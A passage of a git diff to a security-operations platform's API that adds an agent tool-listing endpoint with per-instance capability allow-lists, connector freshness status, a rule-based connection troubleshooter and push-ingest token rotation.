+ or schema-drift fingerprints — it cares about *callable verbs*. So
+ this endpoint pivots from instance → capability → tool descriptor.
+* Different scope-narrowing rules. The agent never sees disabled
+ instances and never sees capabilities outside ``allowed_capabilities``,
+ even if the connector class declares more. ``/connectors`` returns
+ the unfiltered truth.
+
+Tenant scoping invariants:
+
+* Every query filters on ``Connector.tenant_id == current_user.tenant_id``.
+* Disabled instances (``is_enabled = False``) are dropped — there is no
+ "what *would* I be able to do?" view; the agent sees only what it can
+ *actually* invoke right now.
+* Per-instance ``allowed_capabilities`` (managed via
+ ``PUT /connectors/{id}/capabilities``) is intersected with the connector
+ class's declared ``capabilities()`` server-side. A tampered request
+ on the management endpoint can't widen reach because *that* endpoint
+ validates against the declared set; here we just read the column.
+"""
+
+from __future__ import annotations
+
+import logging
+from typing import Annotated, Any
+
+from fastapi import APIRouter, Depends
+from pydantic import BaseModel, Field
+from sqlalchemy import select
+
+from app.api.v1.deps import AuthUser, DBSession, require_permission
+from app.api.v1.endpoints.connectors import _fetch_catalog, _safe_log_val
+from app.models.connector import Connector
+
+logger = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/agents", tags=["agents"])
+
+
+# --------------------------------------------------------------- Pydantic schemas
+
+
+class AgentToolDescriptor(BaseModel):
+ """One callable verb on one connector instance, as the agent sees it.
+
+ The descriptor is intentionally LLM-friendly:
+
+ * ``name`` is unique per tenant (``{connector_id}.{capability}``) and
+ stable across redeploys, so an agent's tool-choice memory still
+ resolves after a redeployment.
+ * ``description`` is human-readable and pulled from the connector
+ class so updates ship with the connector code, not the agent.
+ * ``input_schema`` follows JSON-Schema conventions so most agent
+ frameworks (LangChain, LangGraph, MCP) can drop it in unchanged.
+ """
+
+ name: str = Field(
+ description=(
+ "Stable unique identifier for this tool, formatted as "
+ "'<connector_instance_id>.<capability>'. The connector_instance_id "
+ "rather than connector_type so multiple instances of the same "
+ "connector — e.g. two CrowdStrike tenants — are addressable."
+ ),
+ )
+ connector_id: str = Field(description="Connector instance UUID.")
+ connector_type: str = Field(description="Catalog connector type, e.g. 'crowdstrike'.")
+ connector_name: str = Field(
+ description="Operator-chosen instance display name (e.g. 'CrowdStrike — prod').",
+ )
+ category: str = Field(description="Catalog category, e.g. 'edr', 'siem', 'iam'.")
+ capability: str = Field(
+ description=(
+ "The capability verb (one of the values from the Capability enum, "
+ "e.g. 'pull_alerts', 'query_logs', 'isolate_host')."
+ ),
+ )
+ capability_group: str = Field(
+ description=(
+ "Coarse grouping derived from CAPABILITY_GROUPS in services/connectors. "
+ "Lets an agent pre-filter by intent — e.g. only consider 'CONTAIN' "
+ "verbs when deciding to quarantine a host."
+ ),
+ )
+ description: str = Field(
+ description="Human-readable summary of the verb, surfaced in tool prompts.",
+ )
+ input_schema: dict[str, Any] = Field(
+ default_factory=lambda: {"type": "object", "properties": {}},
+ description=(
+ "JSON-Schema for the verb's arguments. Empty by default; concrete "
+ "connectors will fill this in as the per-capability call surface "
+ "stabilises in subsequent workstreams."
+ ),
+ )
+
+
+class AgentToolsResponse(BaseModel):
+ """Tenant-wide tool catalogue surfaced to the agent layer."""
+
+ tools: list[AgentToolDescriptor]
+ # Lightweight metadata so callers can short-circuit on emptiness
+ # without iterating ``tools``. ``connector_count`` is the number of
+ # *instances* contributing tools (i.e. enabled, non-empty effective
+ # capability set), distinct from total instances on the tenant.
+ tool_count: int
+ connector_count: int
+
+
+# ---------------------------------------------------------------------- helpers
+
+
+# Coarse grouping mirrors CAPABILITY_GROUPS in
+# ``services/connectors/app/connectors/base.py``. We duplicate it here
+# (rather than import across services) so the API can serve agent
+# descriptors even when the connectors microservice is briefly
+# unavailable. The catalog endpoint already falls back to the bundled
+# manifest in that case; this keeps that resilience consistent.
+#
+# Keep this in sync with the ``Capability`` enum and ``CAPABILITY_GROUPS``
+# in ``services/connectors/app/connectors/base.py``. A capability that
+# lands in the enum but not here will surface to the agent as group
+# "unknown", which is observable but not fatal — it's a soft drift signal.
+_CAPABILITY_GROUP_LOOKUP: dict[str, str] = {
+ # READ — passive pulls of events / records the source already produced.
+ "pull_alerts": "read",
+ "pull_logs": "read",
+ "pull_audit": "read",
+ "pull_pcap": "read",
+ "pull_file": "read",
+ # QUERY — ad-hoc search across the source's index.
+ "query_logs": "query",
+ "query_processes": "query",
+ # PIVOT — "given this entity, return everything you know about it".
+ "pivot_user": "pivot",
+ "pivot_host": "pivot",
+ "pivot_ip": "pivot",
+ "pivot_hash": "pivot",
+ "pivot_domain": "pivot",
+ # ENRICH — return contextual reputation / metadata for a single entity.
+ "enrich_user": "enrich",
+ "enrich_host": "enrich",
+ "enrich_ioc": "enrich",
+ "enrich_domain": "enrich",
+ "enrich_vuln": "enrich",
+ "enrich_asset": "enrich",
+ # CONTAIN — kinetic actions on hosts / files / IOCs.
+ "isolate_host": "contain",
+ "unisolate_host": "contain",
+ "kill_process": "contain",
+ "quarantine_file": "contain",
+ "block_hash": "contain",
+ "block_domain": "contain",
+ # REMEDIATE — kinetic actions on identities / credentials.
+ "block_user_signin": "remediate",
+ "disable_user": "remediate",
+ "revoke_session": "remediate",
+ "reset_password": "remediate",
+ "revoke_token": "remediate",
+ # TICKET — bidirectional ITSM (Jira / ServiceNow / etc.).
+ "push_case": "ticket",
+ "push_status": "ticket",
+ # AUDIT — read-only configuration / posture queries.
+ "read_audit_trail": "audit",
+}
+
+
+def _capability_group_of(capability: str) -> str:
+ """Return the coarse group for a capability string, or 'unknown'.
+
+ Unknown capabilities are still surfaced (we don't filter them out)
+ because dropping a verb the connector class declared would silently
+ hide functionality from the agent. 'unknown' lets the agent layer
+ log a warning and decide whether to use it anyway. Group names are
+ lowercase to mirror ``CAPABILITY_GROUPS`` in the connectors service.
+ """
+ return _CAPABILITY_GROUP_LOOKUP.get(capability, "unknown")
+
+
+def _capability_descriptions(catalog_entry: dict[str, Any]) -> dict[str, str]:
+ """Pull capability descriptions from a catalog entry, with safe defaults.
+
+ The connectors microservice may surface capability metadata as
+ ``[{"value": "pull_alerts", "description": "..."}]`` or as a flat
+ list of strings. We accept both so we don't have to coordinate a
+ breaking change across services — older catalog payloads continue
+ to work, just without rich descriptions.
+ """
+ raw = catalog_entry.get("capabilities") or []
+ out: dict[str, str] = {}
+ for item in raw:
+ if isinstance(item, dict):
+ name = item.get("value") or item.get("name")
+ if isinstance(name, str):
+ desc = item.get("description")
+ out[name] = desc if isinstance(desc, str) and desc else _default_description(name)
+ elif isinstance(item, str):
+ out[item] = _default_description(item)
+ return out
+
+
+def _default_description(capability: str) -> str:
+ """Generate a passable description when the catalog doesn't supply one.
+
+ Replaces underscores with spaces and adds a verb-style framing.
+ Cheap, deterministic, and good enough for tool prompts until each
+ connector ships hand-written copy.
+ """
+ pretty = capability.replace("_", " ")
+ return f"Invoke '{pretty}' on this connector instance."
+
+
+# -------------------------------------------------------------------- endpoints
+
+
[email protected]("/tools", response_model=AgentToolsResponse)
+async def list_agent_tools(
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:read"))],
+ db: DBSession,
+) -> AgentToolsResponse:
+ """Return the agent's allowed tool surface for this tenant.
+
+ The pivot is **instance × effective capability**:
+
+ 1. Pull every enabled connector for the tenant.
+ 2. For each instance, look up the connector class's declared
+ capabilities from the live catalog.
+ 3. Intersect with the per-instance ``allowed_capabilities`` column
+ (``NULL`` = no downscope; ``[]`` = explicit zero verbs; non-empty
+ list = exact allowlist).
+ 4. Emit one ``AgentToolDescriptor`` per surviving (instance, capability)
+ pair.
+
+ Result is sorted deterministically by ``(connector_name, capability)``
+ so two consecutive calls return the same ordering — important for
+ agent caches keyed off tool list hashes.
+ """
+ # 1. Active instances on this tenant. We deliberately don't filter
+ # on health_status — an agent can still "ask" a degraded
+ # connector and the call will surface the live failure, which is
+ # more useful than silently hiding the tool.
+ result = await db.execute(
+ select(Connector).where(
+ Connector.tenant_id == current_user.tenant_id,
+ Connector.is_enabled.is_(True),
+ )
+ )
+ instances = list(result.scalars().all())
+
+ if not instances:
+ return AgentToolsResponse(tools=[], tool_count=0, connector_count=0)
+
+ # 2. Catalog lookup, once. We index by connector_id (the catalog's
+ # notion of "type slug", not a UUID) so we can answer per-instance
+ # questions without N round-trips to the connectors service.
+ catalog = await _fetch_catalog()
+ catalog_by_type: dict[str, dict[str, Any]] = {
+ entry["connector_id"]: entry
+ for entry in catalog
+ if isinstance(entry, dict) and isinstance(entry.get("connector_id"), str)
+ }
+
+ tools: list[AgentToolDescriptor] = []
+ contributing_instances = 0
+
+ for inst in instances:
+ catalog_entry = catalog_by_type.get(inst.connector_type)
+ if catalog_entry is None:
+ # Stale row — connector class was removed from the build but
+ # the instance row outlived it. Skip silently rather than
+ # crashing; the operator-facing endpoint will already be
+ # surfacing the orphan separately.
+ logger.info(
+ "agents.tools.skip_orphan tenant_id=%s connector_id=%s connector_type=%s",
+ current_user.tenant_id,
+ inst.id,
+ _safe_log_val(inst.connector_type),
+ )
+ continue
+
+ declared_descriptions = _capability_descriptions(catalog_entry)
+ declared_set = set(declared_descriptions.keys())
+
+ # 3. Apply per-instance downscope.
+ if inst.allowed_capabilities is None:
+ effective: list[str] = sorted(declared_set)
+ else:
+ allowed_set = {str(c) for c in inst.allowed_capabilities}
+ # Intersection — if the column ever drifted ahead of the
+ # connector class's declared set (e.g. via a manual SQL
+ # tweak), we still don't surface verbs the class can't
+ # actually execute. Defence-in-depth alongside the
+ # validation in PUT /connectors/{id}/capabilities.
+ effective = sorted(allowed_set & declared_set)
+
+ if not effective:
+ continue
+ contributing_instances += 1
+
+ category = catalog_entry.get("category") or inst.category or "uncategorized"
+ connector_id_str = str(inst.id)
+
+ for cap in effective:
+ tools.append(
+ AgentToolDescriptor(
+ name=f"{connector_id_str}.{cap}",
+ connector_id=connector_id_str,
+ connector_type=inst.connector_type,
+ connector_name=inst.name,
+ category=category,
+ capability=cap,
+ capability_group=_capability_group_of(cap),
+ description=declared_descriptions[cap],
+ # input_schema left as the empty-object default for
+ # now. Per-capability argument schemas land with the
+ # subsequent workstreams that flesh out concrete
+ # call surfaces (e.g. WS5 for self-healing actions,
+ # WS8 for ITSM push verbs). Doing it here would
+ # require touching every connector class twice —
+ # once now for the surface, once later for the
+ # logic — and the agent layer is already happy
+ # with an open object during early integration.
+ ),
+ )
+
+ # 4. Deterministic ordering for stable tool-list hashes.
+ tools.sort(key=lambda t: (t.connector_name.lower(), t.capability))
+
+ logger.info(
+ "agents.tools.served tenant_id=%s instances=%d tools=%d",
+ current_user.tenant_id,
+ contributing_instances,
+ len(tools),
+ )
+
+ return AgentToolsResponse(
+ tools=tools,
+ tool_count=len(tools),
+ connector_count=contributing_instances,
+ )
diff --git a/services/api/app/api/v1/endpoints/connectors.py b/services/api/app/api/v1/endpoints/connectors.py
index 4e155e924..bbab7aa65 100644
--- a/services/api/app/api/v1/endpoints/connectors.py
+++ b/services/api/app/api/v1/endpoints/connectors.py
@@ -73,6 +73,7 @@ from app.api.v1.deps import AuthUser, DBSession, require_permission
from app.core.config import settings
from app.models.connector import Connector
from app.security.credential_vault import CredentialVaultError, get_vault
+from app.services.connector_freshness import compute_freshness
logger = logging.getLogger(__name__)
@@ -82,6 +83,22 @@ router = APIRouter(prefix="/connectors", tags=["connectors"])
# --------------------------------------------------------------- Pydantic schemas
+class FreshnessSLOResponse(BaseModel):
+ """Freshness verdict surfaced on every ``ConnectorResponse``.
+
+ Driven by ``app.services.connector_freshness.compute_freshness``.
+ The UI uses ``status`` to color the badge and ``seconds_since_last_event``
+ + ``expected_cadence_seconds`` to render the tooltip ("expected within
+ 5 min, last event 12 min ago"). ``category`` is echoed back for
+ client-side grouping without re-deriving it.
+ """
+
+ status: str # unknown | green | yellow | red
+ expected_cadence_seconds: int
+ seconds_since_last_event: int | None
+ category: str
+
+
class ConnectorResponse(BaseModel):
"""Public projection of a ``Connector`` row.
@@ -116,6 +133,25 @@ class ConnectorResponse(BaseModel):
schema_fingerprint: str | None = None
last_schema_drift_at: datetime | None = None
last_drift_details: dict[str, Any] | None = None
+ # Workstream 1: timestamp of last *actual* event ingested. Distinct
+ # from `last_sync` because empty polls advance `last_sync` but not
+ # this. `last_event_kind` lets the UI label the preview row.
+ last_event_at: datetime | None = None
+ last_event_kind: str | None = None
+ # Workstream 2: True when this row was created via the hosted OAuth
+ # one-click flow rather than by pasting an API token. Drives the
+ # "Reconnect" action in the UI (re-runs OAuth instead of asking for
+ # the credential again).
+ oauth_provisioned: bool = False
+ # Workstream 4: per-instance capability downscoping. ``None`` means
+ # "use everything the class declares"; an explicit list narrows the
+ # agent's verbs for *this instance only*.
+ allowed_capabilities: list[str] | None = None
+ # Workstream 5: freshness SLO badge driven by per-class cadence
+ # (5 min EDR, 60 min vuln, etc). Computed on read against
+ # ``last_event_at``; never persisted, so the verdict is always
+ # current as of the request.
+ freshness: FreshnessSLOResponse | None = None
tags: list
created_at: datetime
updated_at: datetime
@@ -123,6 +159,74 @@ class ConnectorResponse(BaseModel):
model_config = {"from_attributes": True}
+def _build_connector_response(connector: Connector) -> ConnectorResponse:
+ """Hydrate a ``ConnectorResponse`` and attach the live freshness SLO.
+
+ Centralised so list/get/create/update/PUT-capabilities all return the
+ same shape. Pure projection — no DB round-trips, ``compute_freshness``
+ runs against the row's own ``last_event_at`` and ``category`` columns.
+ Honors a per-instance cadence override at
+ ``connector_config.expected_cadence_seconds`` so an operator can
+ declare "this Splunk instance polls hourly, don't paint yellow"
+ without changing the global table.
+ """
+ response = ConnectorResponse.model_validate(connector)
+ override = None
+ cfg = connector.connector_config or {}
+ raw_override = cfg.get("expected_cadence_seconds") if isinstance(cfg, dict) else None
+ if isinstance(raw_override, int | float):
+ override = int(raw_override)
+ verdict = compute_freshness(
+ category=connector.category,
+ last_event_at=connector.last_event_at,
+ override_seconds=override,
+ )
+ response.freshness = FreshnessSLOResponse(**verdict.to_dict())
+ return response
+
+
+class LastEventResponse(BaseModel):
+ """Lightweight payload for the verify-data-flowing screen.
+
+ The onboarding flow polls this every few seconds while waiting for
+ the first event to land. Keeping the shape minimal avoids paying
+ the full ``ConnectorResponse`` cost on every poll tick.
+ """
+
+ connector_id: uuid.UUID
+ last_event_at: datetime | None
+ last_event_kind: str | None
+ events_ingested: int
+ last_sync: datetime | None
+ health_status: str
+ # Convenience: a server-side computed answer to "has data started
+ # flowing yet?" so the client doesn't have to know the rule.
+ data_flowing: bool
+
+
+class TroubleshootRequest(BaseModel):
+ """AI-troubleshooter input from the wizard's failure UX."""
+
+ connector_type: str = Field(min_length=1, max_length=100)
+ error: str = Field(min_length=1, max_length=4000)
+ auth_config_keys: list[str] = Field(
+ default_factory=list,
+ description=(
+ "Names of fields the operator filled in. Values are intentionally "
+ "*not* sent — the troubleshooter doesn't need plaintext credentials "
+ "to diagnose '401 Unauthorized'."
+ ),
+ )
+
+
+class TroubleshootResponse(BaseModel):
+ """Structured guidance the wizard renders next to a failed test."""
+
+ likely_cause: str
+ fix_steps: list[str]
+ doc_link: str | None = None
+
+
class ConnectorHealthSummary(BaseModel):
"""Tenant-wide rollup of connector health for the dashboard.
@@ -178,6 +282,26 @@ class TestConnectionRequest(BaseModel):
connector_config: dict[str, Any] = Field(default_factory=dict)
+class UpdateCapabilitiesRequest(BaseModel):
+ """Per-instance capability downscoping payload (Workstream 4).
+
+ ``None`` removes the downscope ("agent may use every capability the
+ connector class declares"). An explicit list — possibly empty —
+ becomes the canonical allow-list. Validation against the connector
+ class's declared capabilities happens server-side so a tampered
+ request can't widen the agent's reach beyond what the connector
+ code actually implements.
+ """
+
+ allowed_capabilities: list[str] | None = Field(
+ default=None,
+ description=(
+ "Capability strings (e.g. ['pull_alerts','query_logs']) the agent "
+ "is permitted to invoke against this instance. None = no downscope."
+ ),
+ )
+
+
# ------------------------------------------------------------- internal helpers
@@ -477,7 +601,7 @@ async def list_connectors(
"""List all connector instances for the caller's tenant."""
result = await db.execute(select(Connector).where(Connector.tenant_id == current_user.tenant_id).order_by(Connector.created_at))
connectors = result.scalars().all()
- return [ConnectorResponse.model_validate(c) for c in connectors]
+ return [_build_connector_response(c) for c in connectors]
@router.post("", response_model=ConnectorResponse, status_code=status.HTTP_201_CREATED)
@@ -517,7 +641,7 @@ async def create_connector(
db.add(connector)
await db.commit()
await db.refresh(connector)
- return ConnectorResponse.model_validate(connector)
+ return _build_connector_response(connector)
@router.get("/{connector_id}", response_model=ConnectorResponse)
@@ -536,7 +660,7 @@ async def get_connector(
connector = result.scalar_one_or_none()
if connector is None:
raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Connector not found")
- return ConnectorResponse.model_validate(connector)
+ return _build_connector_response(connector)
@router.patch("/{connector_id}", response_model=ConnectorResponse)
@@ -587,7 +711,90 @@ async def update_connector(
await db.commit()
await db.refresh(connector)
- return ConnectorResponse.model_validate(connector)
+ return _build_connector_response(connector)
+
+
[email protected]("/{connector_id}/capabilities", response_model=ConnectorResponse)
+async def update_connector_capabilities(
+ connector_id: uuid.UUID,
+ request: UpdateCapabilitiesRequest,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+ db: DBSession,
+) -> ConnectorResponse:
+ """Downscope which capabilities the agent may invoke against this instance.
+
+ The contract:
+
+ * ``allowed_capabilities = None`` clears the downscope. The agent reverts
+ to the connector class's full ``capabilities()`` declaration.
+ * ``allowed_capabilities = []`` is a *legitimate* operator action: it
+ pins the agent to zero capabilities for this instance. Polling and
+ data ingestion are unaffected — only agent-initiated actions are
+ gated by this column.
+ * Any string in the list MUST appear in the connector class's declared
+ capabilities. We validate against the live catalog so a tampered
+ request can't widen the agent's reach beyond what the connector code
+ actually implements.
+
+ The narrowing happens at the read path
+ (``BaseConnector.effective_capabilities()``), not here, so the column
+ is purely a per-instance allow-list — flipping it back to ``None``
+ instantly restores the class default with no migration.
+ """
+ result = await db.execute(
+ select(Connector).where(
+ Connector.id == connector_id,
+ Connector.tenant_id == current_user.tenant_id,
+ )
+ )
+ connector = result.scalar_one_or_none()
+ if connector is None:
+ raise HTTPException(
+ status_code=status.HTTP_404_NOT_FOUND,
+ detail="Connector not found",
+ )
+
+ if request.allowed_capabilities is not None:
+ # Validate every requested capability against the connector class's
+ # declared set. We pull from the live catalog (rather than a hard-coded
+ # enum on the API side) so newly-added capabilities are usable as soon
+ # as the connectors microservice rolls them out, with no API redeploy.
+ catalog_entry = await _validate_connector_type(connector.connector_type)
+ declared_caps_raw = catalog_entry.get("capabilities") or []
+ declared_caps = {str(c) for c in declared_caps_raw}
+ requested_caps = {str(c) for c in request.allowed_capabilities}
+ unknown = sorted(requested_caps - declared_caps)
+ if unknown:
+ raise HTTPException(
+ status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
+ detail=(
+ f"Capabilities not declared by connector "
+ f"'{_safe_log_val(connector.connector_type)}': "
+ f"{', '.join(unknown)}. "
+ f"Declared: {', '.join(sorted(declared_caps)) or '(none)'}"
+ ),
+ )
+
+ await db.execute(
+ update(Connector)
+ .where(Connector.id == connector_id)
+ .values(
+ allowed_capabilities=request.allowed_capabilities,
+ updated_at=datetime.now(UTC),
+ )
+ )
+ await db.commit()
+ await db.refresh(connector)
+
+ logger.info(
+ "connector.capabilities.updated tenant_id=%s connector_id=%s connector_type=%s allowed=%s",
+ current_user.tenant_id,
+ connector_id,
+ _safe_log_val(connector.connector_type),
+ request.allowed_capabilities,
+ )
+
+ return _build_connector_response(connector)
@router.delete("/{connector_id}", status_code=status.HTTP_204_NO_CONTENT, response_model=None)
@@ -669,3 +876,301 @@ async def test_existing_connector(
)
await db.commit()
return verdict
+
+
+# ----------------------------------------------------------- verify-data-flowing
+
+
+# Anything fresher than this counts as "data flowing" for the onboarding
+# verify screen. Plenty wide to allow for batch poll cadences (the
+# connectors service polls every 5 min by default) without flapping
+# the green check.
+_DATA_FLOWING_WINDOW_SECONDS = 30 * 60
+
+
[email protected]("/{connector_id}/last_event_at", response_model=LastEventResponse)
+async def get_last_event_at(
+ connector_id: uuid.UUID,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:read"))],
+ db: DBSession,
+) -> LastEventResponse:
+ """Return event-arrival watermark for the onboarding verify screen.
+
+ Polled by the wizard's "verify data flowing" panel every few seconds
+ after a connector is saved. Returns 200 with ``data_flowing=false``
+ rather than a 404 so the polling loop has stable shape until the
+ first event lands. The ``data_flowing`` boolean is computed server
+ side from a fixed window (see ``_DATA_FLOWING_WINDOW_SECONDS``) so
+ every client agrees on the rule.
+ """
+ result = await db.execute(
+ select(Connector).where(
+ Connector.id == connector_id,
+ Connector.tenant_id == current_user.tenant_id,
+ )
+ )
+ connector = result.scalar_one_or_none()
+ if connector is None:
+ raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Connector not found")
+
+ last_event_at = connector.last_event_at
+ data_flowing = False
+ if last_event_at is not None:
+ # `last_event_at` is timezone-aware (DateTime(timezone=True)),
+ # but be defensive against drivers that strip tzinfo.
+ ts = last_event_at if last_event_at.tzinfo else last_event_at.replace(tzinfo=UTC)
+ data_flowing = (datetime.now(UTC) - ts).total_seconds() <= _DATA_FLOWING_WINDOW_SECONDS
+
+ return LastEventResponse(
+ connector_id=connector.id,
+ last_event_at=last_event_at,
+ last_event_kind=connector.last_event_kind,
+ events_ingested=int(connector.events_ingested or 0),
+ last_sync=connector.last_sync,
+ health_status=connector.health_status or "unknown",
+ data_flowing=data_flowing,
+ )
+
+
+# ----------------------------------------------------------- AI troubleshooter
+
+
+# Hand-rolled rules for the most common credential-test failures. We
+# keep this deterministic for two reasons:
+#
+# * The plan calls for an LLM-backed sidekick, but in single-tenant /
+# air-gapped deployments there's no LLM endpoint to hit. A static
+# rule table covers the 80% case (auth headers, scope, network)
+# without requiring any external dependency.
+# * Even when an LLM is wired in, the wizard has to render *something*
+# if the model is slow/unavailable. These rules are the fallback.
+#
+# Order matters — first regex match wins. Patterns are case-insensitive.
+_TROUBLESHOOT_RULES: list[tuple[re.Pattern[str], str, list[str], str | None]] = [
+ (
+ re.compile(r"401|unauthor", re.IGNORECASE),
+ "The credentials were rejected by the upstream API.",
+ [
+ "Verify the API key, client ID, or service-account password is correct.",
+ "Check whether the credential has expired or was revoked in the source system.",
+ "If you're using an OAuth client secret, regenerate it and retry.",
+ "Confirm the account hasn't been disabled by an admin.",
+ ],
+ "/docs/connectors/auth-troubleshooting",
+ ),
+ (
+ re.compile(r"403|forbidden|insufficient.*scope|missing.*permission", re.IGNORECASE),
+ "Authentication succeeded but the credential is missing required scopes / permissions.",
+ [
+ "Open the upstream system and check the required role/scope listed in the connector docs.",
+ "If using an OAuth scope list, re-authorize and tick all required scopes.",
+ "For service accounts, grant the minimum read/audit role described in the connector reference.",
+ ],
+ "/docs/connectors/scopes",
+ ),
+ (
+ re.compile(r"429|rate.?limit|too many requests", re.IGNORECASE),
+ "The upstream API is rate-limiting the test request.",
+ [
+ "Wait 1-2 minutes and re-test — first-call rate limits are usually narrow.",
+ "If you're using a shared API key, check whether another integration is hammering it.",
+ "Configure a longer poll interval in the connector advanced settings if this persists.",
+ ],
+ None,
+ ),
+ (
+ re.compile(r"timeout|timed out|context deadline", re.IGNORECASE),
+ "The connector couldn't reach the upstream API in time.",
+ [
+ "Check that the API endpoint URL is correct and matches your tenant region.",
+ "If the upstream is internal, confirm AiSOC has network connectivity / VPN routing.",
+ "Try lowering the test payload size in connector_config (when applicable).",
+ ],
+ None,
+ ),
+ (
+ re.compile(r"dns|name resolution|no such host|getaddrinfo", re.IGNORECASE),
+ "DNS resolution for the configured endpoint failed.",
+ [
+ "Double-check the hostname for typos.",
+ "If this is a private endpoint, confirm a private resolver / DNS forwarder is configured.",
+ ],
+ None,
+ ),
+ (
+ re.compile(r"x509|certificate|tls|ssl", re.IGNORECASE),
+ "TLS/certificate validation failed against the upstream endpoint.",
+ [
+ "Confirm the endpoint URL uses the correct hostname (cert SANs must match).",
+ "If you're behind a proxy with custom CA, install the CA bundle on the connectors service.",
+ "For self-signed certs, switch to a properly issued cert before going to production.",
+ ],
+ None,
+ ),
+ (
+ re.compile(r"missing|required|invalid.*config|schema", re.IGNORECASE),
+ "One or more required configuration fields are missing or invalid.",
+ [
+ "Re-check the wizard's required fields (marked with *).",
+ "If you pasted a key, ensure no surrounding whitespace or quote characters were captured.",
+ "Some fields require a specific format (e.g. region 'us-east-1' not 'US East'); see the connector docs.",
+ ],
+ None,
+ ),
+ (
+ re.compile(r"5\d{2}|server error|bad gateway", re.IGNORECASE),
+ "The upstream API returned a server-side error during the test.",
+ [
+ "Wait a minute and retry — most 5xx are transient.",
+ "Check the upstream service's status page.",
+ "If this persists, file a support ticket with the upstream vendor and include the error string.",
+ ],
+ None,
+ ),
+]
+
+# Per-connector documentation links so the troubleshooter can offer a
+# canonical "read the setup guide" link as a last resort.
+_CONNECTOR_DOC_LINKS: dict[str, str] = {
+ "okta": "/docs/connectors/okta",
+ "azure_entra": "/docs/connectors/azure-entra",
+ "google_workspace": "/docs/connectors/google-workspace",
+ "github_audit": "/docs/connectors/github-audit",
+ "atlassian_audit": "/docs/connectors/atlassian-audit",
+ "slack_audit": "/docs/connectors/slack-audit",
+ "microsoft_365": "/docs/connectors/microsoft-365",
+ "crowdstrike": "/docs/connectors/crowdstrike",
+ "sentinelone": "/docs/connectors/sentinelone",
+ "carbon_black": "/docs/connectors/carbon-black",
+ "trellix": "/docs/connectors/trellix",
+ "trend_vision_one": "/docs/connectors/trend-vision-one",
+ "cortex_xsiam": "/docs/connectors/cortex-xsiam",
+ "rapid7_insightidr": "/docs/connectors/rapid7-insightidr",
+ "sumo_logic": "/docs/connectors/sumo-logic",
+ "chronicle": "/docs/connectors/chronicle",
+ "datadog_cloud_siem": "/docs/connectors/datadog-cloud-siem",
+ "lacework": "/docs/connectors/lacework",
+ "tenable": "/docs/connectors/tenable",
+ "mimecast": "/docs/connectors/mimecast",
+ "salesforce": "/docs/connectors/salesforce",
+ "auth0": "/docs/connectors/auth0",
+ "cisco_umbrella": "/docs/connectors/cisco-umbrella",
+}
+
+
+def _troubleshoot(error: str, connector_type: str) -> TroubleshootResponse:
+ """Map an error string + connector to a structured fix suggestion.
+
+ Pure function (no I/O) so it's trivially unit-testable. Behaviour
+ is intentionally deterministic; this is a *fallback* for when the
+ LLM-backed troubleshooter is offline or not configured.
+ """
+ for pattern, cause, steps, doc in _TROUBLESHOOT_RULES:
+ if pattern.search(error):
+ return TroubleshootResponse(
+ likely_cause=cause,
+ fix_steps=list(steps),
+ doc_link=doc or _CONNECTOR_DOC_LINKS.get(connector_type),
+ )
+ return TroubleshootResponse(
+ likely_cause=(
+ "We couldn't classify this error automatically. The most common "
+ "causes are mistyped credentials, missing scopes, or a regional "
+ "endpoint mismatch."
+ ),
+ fix_steps=[
+ "Re-read the error string carefully — many vendor APIs include the actual problem in the body.",
+ "Check the connector setup guide for the exact required permissions.",
+ "Re-test with a fresh API key / re-authorized OAuth grant.",
+ ],
+ doc_link=_CONNECTOR_DOC_LINKS.get(connector_type),
+ )
+
+
[email protected]("/troubleshoot", response_model=TroubleshootResponse)
+async def troubleshoot_connection(
+ request: TroubleshootRequest,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+) -> TroubleshootResponse:
+ """Return structured fix suggestions for a failed connector test.
+
+ The wizard calls this when ``test_connection`` returns ``success=false``.
+ Auth-config keys (not values) are forwarded so future LLM-backed
+ versions can hint about which field to revisit, while keeping the
+ request safe to log.
+ """
+ if not _CONNECTOR_TYPE_RE.match(request.connector_type):
+ raise HTTPException(
+ status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
+ detail="connector_type contains invalid characters",
+ )
+ safe_type = _safe_connector_type(request.connector_type)
+ logger.info(
+ "connectors.troubleshoot type=%s keys=%s err_len=%d",
+ _safe_log_val(safe_type),
+ sorted(request.auth_config_keys)[:8], # cap to avoid log spam
+ len(request.error),
+ )
+ return _troubleshoot(request.error, safe_type)
+
+
+# ----------------------------------------------------------------- push tokens
+
+
+def _generate_ingest_token() -> str:
+ """Generate an opaque, URL-safe token for the /v1/inbox/{token} push path.
+
+ 32 bytes of entropy = ~256 bits, which gives us collision resistance
+ well past anything we'd ever see at tenant scale.
+ """
+ import secrets
+
+ return f"ait_{secrets.token_urlsafe(32)}"
+
+
+class IngestTokenResponse(BaseModel):
+ """Push-token response. ``inbox_url`` is the absolute endpoint."""
+
+ connector_id: uuid.UUID
+ ingest_token: str
+ inbox_url: str
+
+
[email protected]("/{connector_id}/push/refresh", response_model=IngestTokenResponse)
+async def refresh_ingest_token(
+ connector_id: uuid.UUID,
+ current_user: Annotated[AuthUser, Depends(require_permission("connectors:write"))],
+ db: DBSession,
+) -> IngestTokenResponse:
+ """Generate (or rotate) the per-connector push-ingest token.
+
+ Operators click "Reveal push URL" in the wizard, which calls this and
+ renders the resulting curl example. Re-calling rotates the token and
+ invalidates the old one — the typical use case is "I think this URL
+ leaked into a Slack message, give me a new one".
+ """
+ result = await db.execute(
+ select(Connector).where(
+ Connector.id == connector_id,
+ Connector.tenant_id == current_user.tenant_id,
+ )
+ )
+ connector = result.scalar_one_or_none()
+ if connector is None:
+ raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Connector not found")
+
+ new_token = _generate_ingest_token()
+ await db.execute(
+ update(Connector)
+ .where(Connector.id == connector_id)
+ .values(ingest_token=new_token, updated_at=datetime.now(UTC))
+ )
+ await db.commit()
+
+ base = (getattr(settings, "INGEST_PUBLIC_URL", "") or "").rstrip("/")
+ inbox_url = f"{base}/v1/inbox/{new_token}" if base else f"/v1/inbox/{new_token}"
+ return IngestTokenResponse(
+ connector_id=connector_id,
+ ingest_token=new_token,
+ inbox_url=inbox_url,
+ )
